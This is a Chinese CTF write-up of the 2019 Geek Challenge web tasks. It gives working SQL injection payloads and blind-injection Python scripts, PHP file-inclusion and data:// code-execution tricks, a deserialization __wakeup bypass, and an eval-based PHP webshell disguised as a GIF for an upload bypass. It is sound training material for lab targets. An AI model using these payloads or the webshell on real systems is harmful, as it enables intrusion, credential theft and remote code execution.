[极客大挑战2019]Web WP

原来这就是上次准备做的成信的题,好8

EasySQL

比较简单 没有做过多的尝试

在用户名中输入1’,会提示

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1'' at line 1

接下来将用户名设为admin' or 1=1 #,达到使用admin成功登陆的目的。

Havefun

比较简单,看源码就能够知道传入?cat=dog,得到flag

Secret File

也比较简单,就是文件包含漏洞。

看源码,进入另外一个界面。

但是点击SECRET后就到END了。

根据提示看看network。发现有一个action.php,但点进去却直接跳转到了end。因此抓包康康。

action.php中有这样一个注释,进去康康,是这样一段代码:

<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>

文件包含,并且filter没有被过滤,因此直接用filter伪协议读取flag.php

secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

然后读出来的经过base64解码就得到flag了。

趁这道题复习一下php伪协议8.

php伪协议

php伪协议,事实上是其支持的协议与封装协议。php中支持的伪协议:

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

file://协议

file://用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。

php://协议

官方文档

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

  • php://input:

php://input代表可以访问请求的原始数据,简单来说POST请求的情况下,php://input可以获取到post的数据。

但比较特殊的一点是,enctype=”multipart/form-data” 的时候 php://input 是无效的。

例题:

分析如下一段代码:

<!--  
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->

这段代码的意思如下:

  1. 通过GET传递三个参数txt,file,password.

  2. $user存在

  3. 读取$user的文件内容为welcome to the bugkuctf

  4. file的include内容为hint.php

因此txt参数用post传递数据welcome to the bugkuctf后,可以用php://input获取到。

file直接可以用php://filter读hint.php(由于include($file)

因此最终payload为:

index.php?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&password=

利用post传递welcome to the bugkuctf,得到源码。

  • php://output

php://output 是一个只写的数据流, 允许以 print 和 echo 一样的方式写入到输出缓冲区。

  • php://filter

这个伪协议用得很多,在文件读取或者getshell时都有可能使用,用于读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()file()file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定。

官方文档中的php://filter参数:

名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read=write= 作前缀 的筛选器列表会视情况应用于读或写链。

举个例,就以这道题中的payload为例:

secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

这里的convert.base54-encode就是过滤器名称,将输入流进行base64编码。

resource=flag.php,代表读取flag.php的内容。

可用过滤器文档

data://

data:资源类型;编码,内容
数据流封装器
当allow_url_include 打开的时候,任意文件包含就会成为任意命令执行

<?php  
$filename=$_GET["a"];
include("$filename");
?>

利用

http://127.0.0.1/xxx.php?a=data://text/plain,<?php phpinfo()?>
or
http://127.0.0.1/xxx.php?a=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

可以读到phpinfo()。

LoveSQL

本来准备老老实实的注入一下的,然而我先用万能密码admin' or 1=1 #试了一下,登上去了。

底下那串字符我用md5解码了下没有解出来。

既然能用这个万能密码登进去,那我就祭出我的祖传脚本。

import requests

url = 'http://ac97e097-4209-4023-8bad-215848f005eb.node3.buuoj.cn/check.php?username='

flag = ""

payload1 = "admin' and (ascii(substr((select(database())),{},1))>{})%23&password=1"
payload2 = "admin' and (ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(" \
"table_schema='geek')),{},1))>{})%23&password=1"
payload3 = "admin' and (ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(" \
"table_name='l0ve1ysq1')),{},1))>{})%23&password=1"
payload4 = "admin' and (ascii(substr((select(group_concat(password))from l0ve1ysq1),{},1))>{})%23&password=1"

for i in range(1, 1000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = payload4.format(i, mid)

new_url = url + payload
r = requests.get(new_url)
if "Login Success!" in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32 or mid == 132:
break
flag += chr(mid)
print(flag)

print(flag)

就跑出来了。

其实这道题有回显的,可以直接用联合查找。但我本来是想用一下order by的注入,因为我看了篇文章。确实能用order by做,但我觉得原理和and是一样的。可能and什么的被禁了就可以这样做8。

接下来还是用联合查找做一下8。

先用order by确定列数。

到4报错了,那就是3列。

再看看回显位:

回显位2,3。先爆库。

?username=1' union select 1,2,database()%23&password=1

爆表名。

?username=1' union select 1,2,(select(group_concat(table_name))from(information_schema.tables)where table_schema='geek')%23&password=1

看看geekuser中的列名

?username=1' union select 1,2,(select(group_concat(column_name))from(information_schema.columns)where table_name='geekuser')%23&password=1

有password,再进去看看内容。

?username=1' union select 1,2,(select(group_concat(password))from geekuser)%23&password=1

emmm那flag不是在这张表里,换成l0ve1ysq1后重复之前的操作果然能够看到flag了。

BabySQL

做了严格的过滤?那就是过滤了些单词8

试试万能密码,果然不成功。又试了下order by,发现

嗯?这是把or替换成空了吗

猜测应该是这样,那就用双写试试

?username=admin' oorr 1=1%23&password=1

果然登上去了,并且跟上一关的回显很像。又测试了一下,这关是把orandselectbyunion等替换为空了,但是只替换了一次所以可以用双写。

然后除了双写,其他的步骤都跟上一步一样,就不在这里重复写payload了。

HardSQL

又用了一下前面的万能密码,发现是这样的界面。

然后又试了一下and,order by之类的,一直出现这个界面。我开始疑惑了,难道他的意思是我整对了,所以说别让他逮到我吗qaq那怎么试了好几种方法都拿不到表名之类的??

于是我fuzz了一下。

原来这个界面是输入了过滤字符的意思= =其中过滤了很多字符

这是其中的一些,还有空格什么的也被过滤了。

但没有过滤or,所以可以试试用updatexml报错注入。

过滤了空格可以用括号代替,过滤了等号可以用like代替。

?username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=1

!果然存在报错注入!

然后就常规操作下一步好了

?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))%23&password=1

爆列名

?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=1

再爆密码

?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=1

跟上面的拼接在一起就好了。

还有还有用逆序输出也可以!然后再写脚本把它正过来

?username=admin'or(updatexml(1,concat(0x3a,reverse((select(group_concat(password))from(H4rDsq1)))),1))%23&password=1

再拼接上就可以了

这是我看到的一篇写报错注入写得很好的文章

并且这道题还可以用^异或来做,跟or原理差不多,就改一下就好了。

FinalSQL

这是最后道sql了,不得不夸赞成信出的这几道sql注入题确实nb,由浅入深涉及了很多点,👍🏻。

本来猜测这道题应该就是盲注了,果然是这样了。

我试着点了一下他给的那几个按钮。

??并且我还全部都点了

前四个都没什么用,康康第五个

所以他是在再一次提醒我这是盲注吗= =

于是我开始找注入点了。

像前几关那样先试试用万能密码。

嗯?然后又试着输了些payload,全部都显示这个。我开始迷惑了。

不找到回显标志我怎么用盲注嘛qaq

然后我又回到最初的页面,点进序号为1的页面看看。

噢说不定这才是这关的注入页面。于是我又fuzz了一下。

通过fuzz,我发现页面有4种情况。

  • 臭弟弟
  • NO! Not this! Click others
  • Error!
  • Error!!!

按照前两关的传统,臭弟弟的页面应该就是被过滤的。

(没有截完哈 有点多

那就很明显可以用布尔盲注了 跟有道叫颜值查询的题一样

经过尝试后,1^1^1为真,回显为NO! Not this! Click others~~~

1^0^1为假,回显为ERROR!!!

那我又要拿出我的脚本了

import requests

url = 'http://baf0ae84-8f87-4287-9a5e-0959c6049648.node3.buuoj.cn/search.php?id='

flag = ""

payload1 = "1^(ascii(substr((select(database())),{},1))>{})^1"
payload2 = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(" \
"table_schema='geek')),{},1))>{})^1"
payload3 = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(" \
"table_name='F1naI1y')),{},1))>{})^1"
payload4 = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),{},1))>{})^1"

for i in range(1, 1000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = payload4.format(i, mid)

new_url = url + payload
r = requests.get(new_url)
if "Click" in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32 or mid == 132:
break
flag += chr(mid)
print(flag)

print(flag)

PHP

这只猫咪好!可!爱!鸭!

这个前端做得好棒!我玩了好久hhhhh我家十一也爱在我写代码打字的时候跳到我键盘上来哈哈哈哈

好8接着看题了

备份网站…emmm我扫了一下,果然扫到备份文件了。

先看看index.php,其中主要的一段代码是

<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

要传入select,并且对它的值反序列化。我们康康class.php里的内容

<?php
include 'flag.php';

error_reporting(0);

class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();

}
}
}
?>

大致意思就是通过__destruct()执行反序列化,如果满足两个条件就echo flag。

两个条件分别是

$this->password == 100
$this->username === 'admin'

__destruct

那么就要构造满足条件的序列化

<?php
include 'flag.php';

error_reporting(0);

class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin',100);
$b = serialize($a);
echo $b;
?>

运行后得到:

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

这样就在__destruct时就会判断正确了。

__wakeup

但是前面有一处__wakeup魔术方法,在反序列化之前就会将guest赋值给username,这样我们构造的就没用了。

接下来就是绕过__wakeup了。

在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行

因此我们将序列化这样设置

O:4:"Name":4:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

就能成功绕过__wakeup魔术方法了。

private 声明

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度

我们再次改造一下序列化:

O:4:"Name":4:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

我又可以了

Upload

比较简单,就是绕过php检测,改content-type为:image/jpeg

然后上传图片马就可以了

一般可以用php3 php4 phtml绕过php检测

这里用phtml

GIF89a
<script language="php">eval($_POST['shell']);</script>

然后经过bp改后发送,再连shell就行了。

RCE ME

Author: Neorah
Link: https://neorah.me/ctf/jikectf/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.